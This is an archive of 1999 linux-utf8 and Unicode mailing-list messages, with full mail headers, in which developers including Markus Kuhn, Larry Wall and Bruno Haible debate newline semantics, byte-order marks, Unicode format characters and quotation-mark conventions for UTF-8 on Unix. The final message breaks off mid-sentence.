11ieXO-0004Xl-00; Tue, 02 Nov 1999 14:03:50 +0000 X-Mailer: exmh version 2.0.2+CL 2/24/98 To: ""'linux-utf8@nl.linux.org'"" , perl-unicode@perl.org Subject: Re: Correct use of UTF-8 under Unix In-reply-to: Your message of ""Tue, 02 Nov 1999 14:21:40 +0100."" X-URL: http://www.cl.cam.ac.uk/~mgk25/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 02 Nov 1999 14:03:47 +0000 From: Markus Kuhn Message-Id: X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org Karlsson Kent - keka wrote on 1999-11-02 13:21 UTC: > (Note: I don't subscribe to perl-unicode@perl.org, only to > linux-utf8@nl.linux.org, and I don't have Markus's original > message that is quoted below.) > > > > : - This means that lines in UTF-8 plaintext files are terminated > > : in one and only one way: 0x0a = LF. > > That is not true. ""lines"" in UTF-8 text files may be terminated by > LINE FEED, CARRIAGE RETURN, CARRIAGE RETURN+LINE FEED, NEXT LINE, > or end-of-file, or be separated by LINE SEPARATOR or PARAGRAPH SEPARATOR > (which is in some sense 'stronger' than line separator). The crucial bit of my original message that you missed was: I have just read through the list archive, and noted that a few people might have some doubts about how UTF-8 is used under Unix. They apparently got confused by many of the features described in the Unicode standard (BOM, line separator, etc.), and thereby completely forgot the big UTF-8 prime directive under Unix: UTF-8 is ASCII compatible Not only the encoding, but also the use of it. So don't change anything about how ASCII was used when introducing UTF-8, because only this means that UTF-8 can truly substitute ASCII in a realistic way: This means the following: - A UTF-8 Unix plain text file that contains only ASCII characters (and this is the majority of files on Unix installations all over the world) will *not* change a single bit. [...] There are many nice ideas written up in the Unicode standard and the associated technical reports, however they are not a dogma and each idea has to be critically reviewed before you even consider introducing them into an existing environment. It should become very quickly clear to the alert reader of these documents that many of the mechanisms described there (most notably the byte-order-mark and the new-line semantics) are irrelevant for the use of UTF-8 as a backwards compatible migration path for ASCII plaintext files on Unix systems. Unix never had any new line ambiguity. It was always LF and only LF. It would be really foolish for us to introduce a brand new new-line ambiguity (via say the line separator) on Unix systems just because we read about shiny new alternative ways in a Unicode technical report. The original AT&T Bell Labs developers of Unix have already studied back in 1992, how ISO 10646 is best used on Unix-style systems. They concluded to replace ASCII completely by UTF-8 on their experimental Unix-successor system Plan9 and reported about the excellent practical experiences that they made in this process in a now legendary USENIX paper, which I am sure you all are well familiar with: ftp://ftp.informatik.uni-erlangen.de/pub/doc/ISO/charsets/UTF-8-Plan9-paper.ps.gz If the outside world does something different (they always have, you listed the three most popular other newline conventions CR, CRLF, and NL, yourself), then we will continue to convert, either automatically or manually, as appropriate. The handling of newline ambiguity by C under Unix has always been a NOP. C under Unix is to completely ignore the ""b"" mode option of fopen(). The ""b"" option is a hack for the rest of the world to allow it to handle its Unix incompatibilities. I have nothing against introducing besides the normal ""plain text"" also a new text file format that we could call ""unformatted plain text"". It would be a stream of characters interrupted by Unicode paragraph separator characters. The PS and LS characters would have exactly the same role as a and in HTML or a \\par and \\hfil\\break in TeX. Such an additional file type notion would indeed be interesting to have available, but it would not be used for formatted plain text files such as - software source code - configuration files - shell scripts - everything sent to standard output etc. for obvious reasons of backwards compatibility. An unformatted text format (and a whole range of new tools or new modes of existing tools to support handling it) would however be very convenient for file types such as - HTML/SGML/XML - TeX - nroff where the formatting of the plain-text file is discarded anyway. It would save us having to press paragraph-reformat so frequently in editors, and it would make diff files smaller, because paragraphs would not contain any more any formatting indicators such as LF that have to be rearranged throughout the entire paragraph is you change just a single word. For normal ""plain text"" files, the process writing a paragraph has fixed the positions of the line breaks, for ""unformatted plain text"" files, the process reading the paragraphs is responsible to think about placing line breaks. Just as in TeX, HTML, etc. There is nothing wrong, with having these note-pad style unformatted plain text files as well supported under Unix, but it is important to make clear that this is an entirely new file type with no relationship to the existing plaintext notion. The distinction of the two file types is easy: If it contains at least one LF character, it is a normal plain text file, if it does not contain a single LF character (but zero or more PS and/or LS characters), then is is a new/style unformatted plaintext file. Either way, you'll find out soon enough when reading the file at the end of the first line (formatted) or paragraph (unformatted). Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 4-Nov-99 2:46:24-GMT,4746;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA21148 for ; Wed, 3 Nov 1999 21:46:20 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA24083 for ; Wed, 3 Nov 1999 21:46:20 -0500 (EST) Received: by humbolt.nl.linux.org id ; Thu, 4 Nov 1999 02:34:42 +0100 Received: from kiev.wall.org ([205.178.11.135]:45804 ""EHLO kiev.wall.org"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Thu, 4 Nov 1999 02:34:07 +0100 Received: by kiev.wall.org (8.9.3/8.9.3) id RAA10793; Wed, 3 Nov 1999 17:31:16 -0800 (PST) Date: Wed, 3 Nov 1999 17:31:16 -0800 (PST) From: Larry Wall Message-Id: <199911040131.RAA10793@kiev.wall.org> To: Markus.Kuhn@cl.cam.ac.uk (Markus Kuhn) Cc: ""'linux-utf8@nl.linux.org'"" , perl-unicode@perl.org Subject: Re: Correct use of UTF-8 under Unix In-Reply-To: (from Markus Kuhn on Tue, 02 Nov 1999 14:03:47 +0000) X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org Markus Kuhn writes: : There is nothing wrong, with having these note-pad style unformatted : plain text files as well supported under Unix, but it is important to : make clear that this is an entirely new file type with no relationship : to the existing plaintext notion. : : The distinction of the two file types is easy: If it contains at least : one LF character, it is a normal plain text file, if it does not contain : a single LF character (but zero or more PS and/or LS characters), then : is is a new/style unformatted plaintext file. Either way, you'll find : out soon enough when reading the file at the end of the first line : (formatted) or paragraph (unformatted). I have one quibble with your hard and fast distinction between the two file types here. And that is that Perl scripts themselves might want to be both types simultaneously! It's considered good style to put the documentation into the same file as the code it documents, and while the code certainly wants to be newline delimited, the documentation is in POD format, and it would be perfectly fine to treat POD text paragraphs as a word processor would. In fact, POD was specifically designed so that filled paragraphs could be distinguished from non-filled text on the basis of the first character of the paragraph. The only problem I see offhand with allowing both styles in the same file is that different tools might count lines differently. If Perl says there's a syntax error at line 582, it might mean it has seen 581 instances of /\\012 | \\015\\012 | \\015 | \\X{2028} | \\X{2029}/x before the error. (For folks listening in, that works out to Unix newline, Windows newline, Mac newline (!), Unicode line separator and Unicode paragraph separator.) If your ""normal plain text"" editor then counts only \\012 (Unix newline), the programmer isn't going to be able to find the error. On the other hand, maybe Perl would just count newlines, and your editor counts it the other way. More likely, some editors count one way, and other editors count another. Maybe they count LS but not PS, just as Perl currently counts \\n but not \\f as a line transition. There are many possiblities. All I'm really arguing here is that it would be good to establish a line counting convention. But if that convention pretends there won't be files mixing the two line delimitation styles, that will have other ramifications, including possibly an adverse impact on portability. Counting line numbers right is already pretty complicated when you have NFS mounts from foreign systems. Adding in Unicode will only make things more complicated. There will be some pressure to use Unicode LS/PS in portable code, and I'm not sure you want to spend the rest of your life resisting that pressure. A lot of the ""fixes"" in Perl are only there because we got tired of people asking the same questions over and over. I think assuming that files will only be one style or the other will put us into that sort of a situation, and it would be nice to head it off early, for some definition of early. Just telling people by fiat that they can't mix the two styles is not likely to work in the absence of universal education. Unfortunately, the education of the illegitimi tends to result in carborundum. Larry - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 4-Nov-99 12:26:34-GMT,11587;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id HAA29245 for ; Thu, 4 Nov 1999 07:26:28 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id HAA11601 for ; Thu, 4 Nov 1999 07:26:27 -0500 (EST) Received: by humbolt.nl.linux.org id ; Thu, 4 Nov 1999 12:46:15 +0100 Received: from mailgw.imt.im.se ([195.100.17.67]:30090 ""EHLO mail-gw.imt.im.se"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Thu, 4 Nov 1999 12:45:45 +0100 Received: from msxsth1.im.se (msxsth1.im.se [193.14.16.108]) by mail-gw.imt.im.se (8.9.3/8.9.3) with ESMTP id MAA22788; Thu, 4 Nov 1999 12:43:17 +0100 Received: by msxsth1 with Internet Mail Service (5.5.2650.21) id ; Thu, 4 Nov 1999 12:45:07 +0100 Message-ID: From: Karlsson Kent - keka To: ""'linux-utf8@nl.linux.org'"" Cc: perl-unicode@perl.org Subject: RE: Correct use of UTF-8 under Unix Date: Thu, 4 Nov 1999 12:43:40 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01BF26BA.0A66AFB0"" X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF26BA.0A66AFB0 Content-Type: text/plain; charset=""iso-8859-1"" Hi! Larry is right in that there is (already, also under Unix) other ways of separating lines: namely form feed, but also vertical tab. I must admit that I have never used vertical tab, and very rarely form feed... Anyway C9x says: ""\\v (vertical tab) Moves the active position to the initial position of the next vertical tab position."" And there is a similar statement about form feed. I assume that is not too far off from what other standards might say. So, the interoperable line (or 'stronger') separators in ""plain text"" are: \\X{2028}|\\X{2029}|\\r\\n|\\n|\\r|\\f|\\v|\\X{85} (I'm probably mixing Perl and C (and flex) syntax here.) Some of them are ""stronger"" in some senses than line separation, but for the purposes of counting logical lines, and deciding logical line begin and logical line end, there should be no difference. A single logical line may be *dynamically* wrapped into several displayed lines, but that is a different matter. Note that there are some ""legacy"" encodings which do not have any or all of \\f|\\v|\\X{85}. (I still think the idea of having two different kinds of ""plain text"" is a bad idea. I haven't heard anyone else entertain it either.) Kind regards /Kent K Larry Wall wrote: ... > The only problem I see offhand with allowing both styles in the same > file is that different tools might count lines differently. If Perl > says there's a syntax error at line 582, it might mean it has seen 581 > instances of /\\012 | \\015\\012 | \\015 | \\X{2028} | \\X{2029}/x > before the > error. (For folks listening in, that works out to Unix > newline, Windows > newline, Mac newline (!), Unicode line separator and Unicode paragraph > separator.) If your ""normal plain text"" editor then counts only \\012 > (Unix newline), the programmer isn't going to be able to find > the error. > > On the other hand, maybe Perl would just count newlines, and your > editor counts it the other way. More likely, some editors count one > way, and other editors count another. Maybe they count LS but not PS, > just as Perl currently counts \\n but not \\f as a line transition. > There are many possiblities. > > All I'm really arguing here is that it would be good to establish a > line counting convention. But if that convention pretends there won't > be files mixing the two line delimitation styles, that will have other > ramifications, including possibly an adverse impact on portability. > Counting line numbers right is already pretty complicated > when you have > NFS mounts from foreign systems. Adding in Unicode will only make > things more complicated. There will be some pressure to use Unicode > LS/PS in portable code, and I'm not sure you want to spend the rest of > your life resisting that pressure. A lot of the ""fixes"" in Perl are > only there because we got tired of people asking the same questions > over and over. > > I think assuming that files will only be one style or the other will > put us into that sort of a situation, and it would be nice to head it > off early, for some definition of early. Just telling people by fiat > that they can't mix the two styles is not likely to work in > the absence > of universal education. Unfortunately, the education of the > illegitimi > tends to result in carborundum. > > Larry > - > Linux-UTF8: i18n of Linux on all levels > Archive: http://mail.nl.linux.org/lists/ > ------_=_NextPart_001_01BF26BA.0A66AFB0 Content-Type: text/html; charset=""iso-8859-1"" RE: Correct use of UTF-8 under Unix Hi!         Larry is right in that there is (already, also under Unix) other ways of separating lines: namely form feed, but also vertical tab. I must admit that I have never used vertical tab, and very rarely form feed... Anyway C9x says: ""\\v (vertical tab) Moves the active position to the initial position of the next vertical tab position."" And there is a similar statement about form feed. I assume that is not too far off from what other standards might say.          So, the interoperable line (or 'stronger') separators in ""plain text"" are:         \\X{2028}|\\X{2029}|\\r\\n|\\n|\\r|\\f|\\v|\\X{85} (I'm probably mixing Perl and C (and flex) syntax here.) Some of them are ""stronger"" in some senses than line separation, but for the purposes of counting logical lines, and deciding logical line begin and logical line end, there should be no difference.  A single logical line may be *dynamically* wrapped into several displayed lines, but that is a different matter.         Note that there are some ""legacy"" encodings which do not have any or all of \\f|\\v|\\X{85}.         (I still think the idea of having two different kinds of ""plain text"" is a bad idea.  I haven't heard anyone else entertain it either.)                 Kind regards                 /Kent K Larry Wall wrote: ... > The only problem I see offhand with allowing both styles in the same > file is that different tools might count lines differently.  If Perl > says there's a syntax error at line 582, it might mean it has seen 581 > instances of /\\012 | \\015\\012 | \\015 | \\X{2028} | \\X{2029}/x > before the > error.  (For folks listening in, that works out to Unix > newline, Windows > newline, Mac newline (!), Unicode line separator and Unicode paragraph > separator.)  If your ""normal plain text"" editor then counts only \\012 > (Unix newline), the programmer isn't going to be able to find > the error. > > On the other hand, maybe Perl would just count newlines, and your > editor counts it the other way.  More likely, some editors count one > way, and other editors count another.  Maybe they count LS but not PS, > just as Perl currently counts \\n but not \\f as a line transition. > There are many possiblities. > > All I'm really arguing here is that it would be good to establish a > line counting convention.  But if that convention pretends there won't > be files mixing the two line delimitation styles, that will have other > ramifications, including possibly an adverse impact on portability. > Counting line numbers right is already pretty complicated > when you have > NFS mounts from foreign systems.  Adding in Unicode will only make > things more complicated.  There will be some pressure to use Unicode > LS/PS in portable code, and I'm not sure you want to spend the rest of > your life resisting that pressure.  A lot of the ""fixes"" in Perl are > only there because we got tired of people asking the same questions > over and over. > > I think assuming that files will only be one style or the other will > put us into that sort of a situation, and it would be nice to head it > off early, for some definition of early.  Just telling people by fiat > that they can't mix the two styles is not likely to work in > the absence > of universal education.  Unfortunately, the education of the > illegitimi > tends to result in carborundum. > > Larry > - > Linux-UTF8:   i18n of Linux on all levels > Archive:      http://mail.nl.linux.org/lists/ > ------_=_NextPart_001_01BF26BA.0A66AFB0-- - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 4-Nov-99 7:43:22-GMT,3063;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id CAA23594 for ; Thu, 4 Nov 1999 02:43:19 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id CAA15155 for ; Thu, 4 Nov 1999 02:43:19 -0500 (EST) Received: by humbolt.nl.linux.org id ; Thu, 4 Nov 1999 08:29:16 +0100 Received: from robin.camelot.de ([195.30.224.3]:25607 ""EHLO mail.camelot.de"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Thu, 4 Nov 1999 08:27:56 +0100 Received: from robin.camelot.de (uucp@robin.camelot.de [195.30.224.3]) by mail.camelot.de (8.9.3/8.9.3) with ESMTP id IAA96660; Thu, 4 Nov 1999 08:27:49 +0100 (CET) Received: from oas.a2e.de (uucp@localhost) by robin.camelot.de (8.9.3/8.9.3) with UUCP id IAA96657; Thu, 4 Nov 1999 08:27:49 +0100 (CET) Received: from localhost by wtao97 via sendmail with esmtp id for ; Thu, 4 Nov 1999 08:25:48 +0100 (CET) (Smail-3.2 1996-Jul-4 #1 built 1999-Jul-23) Date: Thu, 4 Nov 1999 08:25:47 +0100 (CET) From: PILCH Hartmut X-Sender: phm@wtao97.oas.a2e.de To: linux-utf8@nl.linux.org cc: Markus Kuhn Subject: filetype field? In-Reply-To: <199911032207.XAA11389@moolenaar.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org On Wed, 3 Nov 1999, Bram Moolenaar wrote: > > - The Unix kernel #!/bin/sh mechanism will break, because the > > file will not start any more with #! > > Good point. Putting the BOM in the second line would work. But that's a bit > strange. It would be better to adjust the kernel to handle UTF-8 files, and > thus ignore the BOM in this position. Just one more place that needs to be > UTF-8 aware, not a big deal. If the kernel is to look for a UTF-8 BOM, it might as well look for a general encoding marker. That seems to be what you are using the BOM for. There is no byte order to be marked in UTF-8 texts, is there? If the kernel is to be changed, why not go to the roots and introduce an filetype field into the inode table, similar to the permissions field, with commands like $ chft ""text/plain; charset=utf-8"" file1.txt $ chft ""text/plain; charset=iso-8859-1"" file2.txt $ chft ""image/png"" file.png and a /etc/filetypes table that associates mime types to code numbers in a tending-to-become-standardized way? That could at least ensure that no BOMs are misplaced during $ cat file1.txt file2.txt > file.txt and might solve a lot of other problems. -- phm - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 10-Nov-99 19:46:33-GMT,5140;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA15790 for ; Wed, 10 Nov 1999 14:46:32 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA17442 for ; Wed, 10 Nov 1999 14:46:30 -0500 (EST) Received: by humbolt.nl.linux.org id ; Wed, 10 Nov 1999 20:08:31 +0100 Received: from montreal.alis.com ([199.84.165.66]:5050 ""EHLO montreal.alis.com"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Wed, 10 Nov 1999 20:08:06 +0100 Received: from fyergeau2 (intralan.alis.com [199.84.165.3]) by montreal.alis.com (8.9.3/8.9.3-pl-1) with SMTP id OAA26292; Wed, 10 Nov 1999 14:06:19 -0500 (EST) From: =?ISO-8859-1?Q? ""Fran=E7ois?= Yergeau"" To: , Subject: RE: Unicode control characters Date: Wed, 10 Nov 1999 13:59:37 -0500 Message-ID: <000501bf2bad$bc982f50$2f8011ac@fyergeau2.intra.alis.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Importance: Normal X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org > De: Markus Kuhn > Date: mercredi 10 novembre 1999 10:25 > > MIME text/plain body parts are clearly preformatted CR LF > separated lines of printable characters, and UTF-8 really should not > change anything here. Yes. In MIME text a line end is CRLF, period. > May be, it would indeed be a wise idea to supplement RFC 2279 with an > additional spec that clarifies, which Unicode characters are > allowed to > be used in a ""text/plain ; charset=UTF-8"" MIME part. It seems like a > good idea to explicitly exclude everything in the Cf category. This > includes the following entries from the Unicode database: I think this would be very unwise. > 200C;ZERO WIDTH NON-JOINER;Cf;0;BN;;;;;N;;;;; > 200D;ZERO WIDTH JOINER;Cf;0;BN;;;;;N;;;;; > 200E;LEFT-TO-RIGHT MARK;Cf;0;L;;;;;N;;;;; > 200F;RIGHT-TO-LEFT MARK;Cf;0;R;;;;;N;;;;; > 202A;LEFT-TO-RIGHT EMBEDDING;Cf;0;LRE;;;;;N;;;;; > 202B;RIGHT-TO-LEFT EMBEDDING;Cf;0;RLE;;;;;N;;;;; > 202C;POP DIRECTIONAL FORMATTING;Cf;0;PDF;;;;;N;;;;; > 202D;LEFT-TO-RIGHT OVERRIDE;Cf;0;LRO;;;;;N;;;;; > 202E;RIGHT-TO-LEFT OVERRIDE;Cf;0;RLO;;;;;N;;;;; These are required for minimal, understandable encoding of various languages (mainly bidi scripts, but the ZWJ and ZWNJ are also necessary for the Indic scripts, at least). These are NOT gadgets introduced by the high-flying Unicode folks solely for fancy GUI settings, they are there to meet plain text requirements. The legacy encodings for those languages that 10646/Unicode integrated (ASMO, ISCII, etc.) had similar controls, by necessity. > 206A;INHIBIT SYMMETRIC SWAPPING;Cf;0;BN;;;;;N;;;;; > 206B;ACTIVATE SYMMETRIC SWAPPING;Cf;0;BN;;;;;N;;;;; > 206C;INHIBIT ARABIC FORM SHAPING;Cf;0;BN;;;;;N;;;;; > 206D;ACTIVATE ARABIC FORM SHAPING;Cf;0;BN;;;;;N;;;;; > 206E;NATIONAL DIGIT SHAPES;Cf;0;BN;;;;;N;;;;; > 206F;NOMINAL DIGIT SHAPES;Cf;0;BN;;;;;N;;;;; These are crap. The Unicode standard 2.0 says that their use is ""strongly discouraged"". Note however that at least the NATIONAL DIGIT SHAPE stuff does come, AFAIK, from old encodings used in terminal applications, not fancy GUI stuff. > FEFF;ZERO WIDTH NO-BREAK SPACE;Cf;0;BN;;;;;N;BYTE ORDER MARK;;;; Ah! the infamous BOM! It has a valid use in plain text in indicating a place where a word break should not occur. A bit fancy for email, but plain text has other uses than email. > FFF9;INTERLINEAR ANNOTATION ANCHOR;Cf;0;BN;;;;;N;;;;; > FFFA;INTERLINEAR ANNOTATION SEPARATOR;Cf;0;BN;;;;;N;;;;; > FFFB;INTERLINEAR ANNOTATION TERMINATOR;Cf;0;BN;;;;;N;;;;; These are specifically defined not to be used in plain text. They are meant to be used, for instance, in a word processor that keeps text and ""markup"" (formatting info) in separate memory structures. The markup can use those beasties as place holders in the text, to indicate where the markup applies. > 070F;SYRIAC ABBREVIATION MARK;Cf;0;BN;;;;;N;;;;; > 180B;MONGOLIAN FREE VARIATION SELECTOR ONE;Cf;0;BN;;;;;N;;;;; > 180C;MONGOLIAN FREE VARIATION SELECTOR TWO;Cf;0;BN;;;;;N;;;;; > 180D;MONGOLIAN FREE VARIATION SELECTOR THREE;Cf;0;BN;;;;;N;;;;; > 180E;MONGOLIAN VOWEL SEPARATOR;Cf;0;BN;;;;;N;;;;; > > which I am not sure about what they are good for (seems to be new in > 3.0). The scripts are new to 3.0. I'm quite sure those guys were not introduced lightly and have a real requirement in plain text for the relevant scripts. - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 20-Dec-99 2:19:12-GMT,3300;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA16870 for ; Sun, 19 Dec 1999 21:19:05 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA19947 for ; Sun, 19 Dec 1999 21:19:04 -0500 (EST) Received: by humbolt.nl.linux.org id ; Mon, 20 Dec 1999 03:17:46 +0100 Received: from kiev.wall.org ([205.178.11.135]:20989 ""EHLO kiev.wall.org"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Mon, 20 Dec 1999 03:17:12 +0100 Received: by kiev.wall.org (8.9.3/8.9.3) id SAA28653; Sun, 19 Dec 1999 18:11:51 -0800 (PST) Date: Sun, 19 Dec 1999 18:11:51 -0800 (PST) From: Larry Wall Message-Id: <199912200211.SAA28653@kiev.wall.org> To: Markus.Kuhn@cl.cam.ac.uk (Markus Kuhn) Cc: perl-unicode@perl.org, linux-utf8@nl.linux.org Subject: Re: ASCII and Unicode Quotation Marks In-Reply-To: (from Markus Kuhn on Sun, 19 Dec 1999 18:12:11 +0000) X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org Markus Kuhn writes: : If you use any software that writes `quote', please submit to the author : a patch and point her to the above URL for background information. Thanks! Please note that if you ""fix"" the m4 program this way it'll break. I think the m4 style of quoting preceded any similar TeX, GNU or X Windows usage by quite a long time, and quite possibly led to those other usages. At least, m4 is the first place I ever saw that style of quoting used pervasively. Also, please don't ""fix"" programs like Perl or the shells, which don't use `quote' style, but rather `quote` style. So any fix like perl -pi.bak -e ""s/\\`/'/g;"" file1 file2 ... is going to have extremely bad consequences in those programs. Frankly, I think you're going to run into a lot of people who feel as strongly about their quotes as you feel about newlines. That is, to paraphrase your newline article: While the POSIX world is in need of a new character encoding, it is definitely not in need of new quote semantics. The two are fully orthogonal issues, and the Unicode standard has nothing useful to offer for POSIX on the quote issue. Mind you, that's not my opinion, exactly. I'm considerably more easy going on the subject. But I think there will be others who are harder going, and I'm playing devil's advocate here. Standards aside, is there any *actual* use of grave and acute accents in a symmetrical `quote' fashion? Or is it merely notional? Surely under Unicode most real accents will be combining or composed characters. So why inflict a most unused symmetry condition on people who are using an actual symmetry? I don't think quoting standards is gonna cut it for the folks who feel strongly about that. You're likely to have a cultural war on your hands. Me, I'm neutral, but I'll be glad to trade with both sides... Larry - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 20-Dec-99 19:10:05-GMT,3411;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA25710 for ; Mon, 20 Dec 1999 14:09:58 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA14415 for ; Mon, 20 Dec 1999 14:09:57 -0500 (EST) Received: by humbolt.nl.linux.org id ; Mon, 20 Dec 1999 20:08:17 +0100 Received: from sceaux.ilog.fr ([193.55.64.10]:36319 ""EHLO sceaux.ilog.fr"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Mon, 20 Dec 1999 20:07:43 +0100 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA29700; Mon, 20 Dec 1999 20:01:13 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.2]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA10959; Mon, 20 Dec 1999 20:02:47 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id UAA03998; Mon, 20 Dec 1999 20:02:45 +0100 (MET) Date: Mon, 20 Dec 1999 20:02:45 +0100 (MET) Message-Id: <199912201902.UAA03998@oberkampf.ilog.fr> To: linux-utf8@nl.linux.org Cc: perl-unicode@perl.org, gnits@iro.umontreal.ca, rms@gnu.org Subject: Re: ASCII and Unicode Quotation Marks In-Reply-To: <199912191951.LAA16293@ferrule.cygnus.com> References: <199912191951.LAA16293@ferrule.cygnus.com> X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org Tom Tromey writes: > Markus> If you use any software that writes `quote', please submit to > Markus> the author a patch and point her to the above URL for > Markus> background information. Thanks! > > This is standard practice for all GNU programs, including the output > of ""makeinfo"". I can't speak about 'makeinfo', but for the run-time messages of internationalized programs the following approach is possible: - Use a .po file in UTF-8 format, and use U+2018/U+2019 as left and right quote delimiters. - The GNU gettext library shall convert the messages from the .po file's encoding to the current locale's character set (i.e. ISO-8859-1 in many cases). This is already partially implemented. - GNU gettext uses iconv. If the U+2018/U+2019 quotes cannot be represented in the current locale's character set, iconv can choose appropriate replacement characters (acute and grave accent or, as a last fallback, the vertical apostrophe). This will be easily implemented in the free iconv implementations (glibc-iconv, libiconv, freebsd-iconv). The non-free iconv implementations are so low quality that they are unusable. - Programmers must use vertical apostrophe or double quotes in the english messages in the C source. (The standard way to put Unicode characters into a wide char string, \\unnnn, is not yet implemented by most compilers.) - As a consequence, a message catalog for English must be introduced, in order to map ""He said: 'Hello world!'"" to ""He said: \\u2018Hello world!\\u2019"" Bruno - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 29-Dec-99 16:18:00-GMT,3021;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA10990 for ; Wed, 29 Dec 1999 11:17:59 -0500 (EST) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA28680 for ; Wed, 29 Dec 1999 11:17:58 -0500 (EST) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id IAA38410 ; Wed, 29 Dec 1999 08:13:51 -0800 Received: (from agent@localhost) by unicode.org (8.9.3/8.9.3) id IAA22384; Wed, 29 Dec 1999 08:06:30 -0800 (PST) Message-Id: <199912291606.IAA22384@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline X-UML-Sequence: 11575 (1999-12-29 16:06:19 GMT) From: Doug Ewell To: ""Unicode List"" Date: Wed, 29 Dec 1999 08:06:17 -0800 (PST) Subject: Re: Latin ligatures and Unicode Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mailhub2.cc.columbia.edu id LAA10990 Throughout this whole discussion of ligatures in Latin and the proposed (or at least bandied-about) ZERO-WIDTH LIGATOR characters, one issue keeps bothering me. I'm not sure how terrific it would be to allow (or require) a ZWL and ZWNL to achieve 